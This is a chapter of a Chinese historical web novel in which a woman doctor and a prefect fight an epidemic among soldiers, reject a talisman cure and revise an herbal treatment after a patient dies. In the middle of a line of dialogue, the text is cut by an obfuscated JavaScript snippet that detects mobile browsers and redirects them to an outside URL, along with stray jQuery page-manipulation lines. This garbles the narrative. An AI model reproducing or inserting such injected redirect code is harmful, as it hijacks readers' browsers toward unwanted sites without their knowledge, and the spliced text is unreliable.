堂堂太守屈尊亲临寒舍，陈皎皎和何若皆是惊错。


    尤其是何若，她方才可是还拿食指指了太守大人的鼻尖：“太守？真的假的啊？”


    方子旭没有理会女子的自言自语，仍是端正儒生的模样，不计较何若的逾矩，反倒侧过头朝陈皎皎一拜：“恳求陈大夫与在下走一趟。”


    ……


    这些时日，天时晴时雨，废弃的田间秋草长得比矮树都要高，随着自西北而来的寒风兀自摇摆。


    陈皎皎背上药箱和杀猪刀，随着方子旭一行人来到绥城外的一处荒地。


    平芜的荒地上立着几间简易的白布帐子，有人低头从帐内进进出出。


    方子旭正要说些什么，陈皎皎先行开口了，她蹙眉：“你说的那种病，就在帐子里么？”


    战后绥城人事凋敝，官府无力处理战场之上的所有尸体，除却一些被家属认领带回去自行掩埋外，其余多数已连夜被统一坑埋。


    诡异的是，那些着手坑埋群尸的兵卒几乎同时患上了“怪病”。


    陈皎皎救治伤患的经验丰富，各种复杂的病她都见过。


    但她隐隐觉得，这次恐怕没有那么简单。


    方子旭“嗯”了声，正要抬腿走向帐子，却被陈皎皎拦住：“大人且等一等。”


    说着，她从药箱里抽出一条干净整洁的白布：“先戴上这个。”


    方子旭半信半疑地接过，又学着陈大夫的样子将正正方方的白布叠成三角，围到鼻梁上，再系结于脑后。


    陈皎皎将备下的数块白布一一分给了其他人。


    随后，她跟着众人进了首帐。


    帐子里的气味很是难闻，又酸又馊，隔着两层罩住面部的白布还直往鼻子里钻，像人出了许多汗，却未能及时清洗所遗留下来的气息。


    观之患病的兵卒，胸颈与面色无不酡红如醉酒，眼珠因充血而变得通红，肤上还有渗出的点点血迹。他们哀嚎阵阵，皆言自己头痛、腰痛和眼痛。即使身烫如热锅沸水，却一直叫嚷着冷。


    陈皎皎收下号脉的诊布，已然可以确认。


    高热、恶寒，风邪入体。


    “是伤寒。”


    此事在前朝亦有记载，那场起自夏末的大疫就是从剿灭匪患开始的，而后伤寒肆虐渐成瘟疫，以至“吏士皆死”，尸横遍野，所过州城无一幸免，继而动摇了前朝江山的根基。


    陈皎皎的娘亲也是从那年染病，自此一蹶不振，终致早逝。


    陈皎皎捏起长针，扎入患者的商阳穴，转头问方子旭：“这几日他们可在服用什么药？”


    方子旭翻了翻随身的册簿：“也并未服用什么特别的药，一日内早中晚三次各服一碗麻黄汤。”


    陈皎皎了然，相必是要以麻黄汤入药催汗，祛赶寒邪。


    “可是……”


    他话锋一转，托着下巴，若有所思：“虽是同一碗汤药，但见效着实不同，有人服之不久便退热好转，可有人……”


    话还没说完，帐外忽地起了骚动。


    有人来报，有一妪妇在帐外撒泼打滚求见太守，还口口声声说自己有治疗怪病的妙法。


    方子旭蓦地一僵，他也不知为何怪病一事忽在城内沸沸扬扬。可万一真有治病秘方，也万不能因自己的一时疏忽而误了他人性命。他将手中册簿交给属下，随即出帐请见妇人。


    陈皎皎对所谓“妙方”颇感好奇，也随之出了帐子。


    那妪妇年高体迈，一张瘪瘪的嘴里已经没有几粒牙，却还是不停神神叨叨。见到太守，她一面说着什么这是鬼神降罪，一面伸手在袖兜里掏来掏去。


    陈皎皎扬起头，眼睁睁看着妪妇颤颤巍巍地从袖子里抽出几张掉屑渣的红纸，随即“扑通”一下跪到了地上：“符纸入水，保命延年！”


    此话一出，不止新官上任初到此地的方子旭，就连见多识广的陈皎皎陈大夫都愣住了。


    “这……”


    陈皎皎自是不大相信符纸能治病救人，可她瞧着方子旭扶起老人又收下了红纸。


    待那老妪被送走之后，她问好奇地问他：“方大人，你信？”


    方子旭摇头：“不信。”


    随即他捻起那些粗劣的红纸，顺势丢进了火盆里。


    火舌很快吞噬了薄如蝉翼的纸张，陈皎皎盯着跃动的火苗与余灰，耳边传来太守无奈的声音：“眼下，收下总比不收下好。”


    陈皎皎思索一番，点点头，她也能理解。


    此举大抵与她曾在萨尔拉姆所做之事有些相像。


    老妪并无坏心，甚至出于好意才将符纸献上。


    她相信符纸能救人。


    只是她不知道符纸不能救人。


    相信和知道是完完全全的两桩事。


    就在此时，有从事官匆忙赶来：“大人！出事了！”


    陈皎皎同方子旭急急回了白帐。


    帐内原先尚存的一丝平静不复存在，转而乱作一团，四周的粗重喘息沉吟之声起起伏伏，像时涨时息却愈发汹涌的江潮。


    痛苦瞬时卷席了这间狭小的白帐，满面惊恐的医侍跌坐在地，不知所措：“他，他……”


    陈皎皎顺着他颤抖的指尖，看向前方——


    那人是口鼻耳目皆流出了一条长长的鲜血，死状极其惨烈。


    陈皎皎出手探了探他的鼻息：“……他死了。”


    闻言，那医侍也忍不住捂嘴干呕起来。


    陈皎皎捡起翻到在地、汤汁倾洒以致所剩无几的药碗。她将豁了口的破碗放在鼻下闻了一闻，又双指碾了些许药汁细细尝辨：麻黄、桂枝、杏仁、炙甘草……


    苦而微甜，是医治风寒的麻黄汤不错啊。①


    到底哪里出了差错？


    她一时没有头绪，却又觉得病人惨死不合常理，必是有未曾料到的疏忽大意之处。


    帐子内的其余病患虽嘴上不说，可到底还是害怕，生怕下一个死的就是自己。


    方子旭面色凝重，正要派人将尸体抬下去。


    “且慢！”


    见汤药查不出有何端倪，陈皎皎转向尸体，她一眼就注意到了他唇上的血迹：“他吐血了？”


    医侍头如捣蒜，称其今日喝过麻黄汤之后便喊热，没过多久就吐血而亡了。


    热、吐血……糟了！


    陈皎皎顾不得其他，当即向方子旭讨要示下：“大人，这麻黄汤不能在用了！”


    此话一出，如同石入平湖，激起千浪，在场众人本就心有疑惧，这下更是将不满都投在了陈皎皎的身上：


    “不服药不就是等死吗？”


    “别这么说，人家服了药的都死了，没准马上就轮到咱们了呢！”


    “不用麻黄总要用别的吧？难道


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17336859|193030||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    我们就这样什么都不做吗？”


    “你还别说，这女大夫能治病吗？”……


    “三天！”


    陈皎皎突然大声喊道：“只需三天我定能找到救治诸位的法子！”


    方子旭也没想到她竟能如此信誓旦旦，遂顺水推舟：“诸位稍安勿躁，本官相信绥城人人称颂的陈大夫定能妙手回春。”


    既然太守大人都发话了，众人也只能依命行事。


    ……


    陈皎皎翻阅了自己的那本旧医书，除了记载的麻黄汤剂药方，并没有关于伤寒的多余笔墨。


    她看得头疼脑胀，右手捏着额间，不免深觉此事棘手。


    夜已深，何若进来给她添了些油灯：“早些歇息。”


    她正要转身回屋，却在不经意间瞟见了敞开的医书上写着“伤寒”“麻黄”的字眼。


    何若不禁惊呼，陈皎皎抬起倦眼：“怎么了？”


    “也没什么”，她抿了抿唇，蹙着细长的眉：“只是觉得‘伤寒’二字有些眼熟罢了……”


    “眼熟？”


    陈皎皎困意全无：“若娘何出此言？”


    何若挨着她坐下，说起了前朝的那场大疫：“阿爷还在世时，常与我们姊妹二人谈及那场瘟疫，彼时他在外走商，不慎也染上了伤寒……不过，阿爷后来被一个云游四方的跛脚游医治好了……”


    陈皎皎望向她：“如何治好的？”


    何若摇了摇头：“那我便不知了。”


    夜已深，黑夜寂静，徒留烛花滴蜡的轻响。


    希望转瞬熄灭，陈皎皎难免有些失落，可她又听见何若说：“不过，我闻此事非比寻常，曾轰动一时，或许在绥城官衙的文书中有过记录呢！”


    这句话点醒了陈皎皎。


    既然自己的医书里找不到法子，那就去翻翻别的书，找找别的药方不就成了？


    说干就干，陈皎皎立即从官衙借来了所有与伤寒相关的典籍。


    无论是医书，还是文书，只要能为她所用，此刻都出现在了她面前的桌案上。


    足足二十余册。


    堆得简直比山还要高。


    何若扶了扶额头：看来皎皎今夜又不能早日歇息了。


    陈皎皎在灯下翻阅典籍，她发现所谓“伤寒”并非单指一种病症，相反，它更像是一种邪风入体的过程，如“六经辨证”，愈演愈烈，层层递进。②


    感患伤寒者，起初浑身发冷，畏寒，称之为“表寒”。此时服用麻黄汤尚能控制病情；尔后若出现高热、血斑，则表明病症已从“表寒”进入了“里热”的阶段。这时万不能再用麻黄汤之类的大热之药，反而应当使用凉药祛热。


    陈皎皎再度回想那人七窍流血的死状，恍然了悟那时他应已是陷入“里热”了。


    她依据书中所录的清热良方“白虎汤”，又增添删减了几味药的剂量，最终确定了承接麻黄汤所用的新药。


    待陈皎皎做完这一切之时，东方的天边已经露出了鱼肚白，朝晖熹微。


    早起的何若推开门，就看见一夜未眠的陈皎皎趴在桌案上闭目小憩，于是蹑手蹑脚地给她披了一件外裳。


    梦中，陈皎皎置身山花烂漫处，而那重重花海中有一片模糊的人影。


    正当陈皎皎入眠之际，沉重的马蹄声由远及近，停在了屋外，彻底惊扰了她来之不易的美梦。